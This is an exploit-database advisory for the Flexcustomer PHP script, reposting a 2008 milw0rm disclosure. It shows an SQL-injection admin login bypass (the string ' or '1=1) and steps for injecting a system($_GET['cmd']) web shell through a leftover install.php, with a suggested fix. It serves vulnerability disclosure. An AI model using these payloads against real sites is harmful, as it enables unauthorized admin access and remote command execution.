Flexcustomer Admin Login Bypass / Possible PHP code writing

vendor:

Flexcustomer

by:

Osirys

7.5

CVSS

HIGH

Admin Login Bypass / Possible PHP code writing

CWE

Product Name: Flexcustomer

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Flexcustomer Admin Login Bypass / Possible PHP code writing

The vulnerability exists due to insufficient sanitization of user-supplied input in the '$checkuser' and '$checkpass' parameters in the '/[path]/admin/usercheek.php' script. This can be exploited to bypass the authentication process and gain access to the administrative panel. Additionally, the 'install.php' script can be used to inject arbitrary PHP code into a .php file.

Mitigation:

Escape $checkuser and $checkpass in $sql query.

Source

Exploit-DB raw data:

[START]

####################################################################################################################
[0x01] Informations:

Script         : Flexcustomer
Download       : http://www.hotscripts.com/jump.php?listing_id=25331&jump_type=1
Vulnerability  : Admin Login Bypass / Possible PHP code writing
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org


####################################################################################################################
[0x02] Bug: [Admin Login Bypass]
######

Bug: /[path]/admin/usercheek.php

[CODE]

<?php
session_start();

if (!empty($logincheck)){
$sql = "select username,adminid from useradmin where username='$checkuser' and password='$checkpass'";
$results = $db->select($sql);

[/CODE]

[!FIX] Escape $checkuser and $checkpass in $sql query.


[!] EXPLOIT: /[path]/admin/
             Put as username and password: ' or '1=1
             You will log in as admin

####################################################################################################################
[0x03] Bug: [Possible PHP data writing]
######

This is not a real bug, but could become it if the administrator doesn't delete the install.php file.
In fact, data that we put in /[path]/admin/install.php forms will be save in a .php file.
So, if install.php is not deleted, we can inject php code, and this bug can become a RCE vulnerability.

[!] EXPLOIT:
              1) Go at: /[path]/admin/install.php
              2) Put as Database Name this simple PHP code: ";system($_GET['cmd']);$a = "k
              3) Fill the other form and press  Next
              4) Execute your cmd: /[path]/const.inc.php?cmd=id

####################################################################################################################

[/END]

# milw0rm.com [2008-12-29]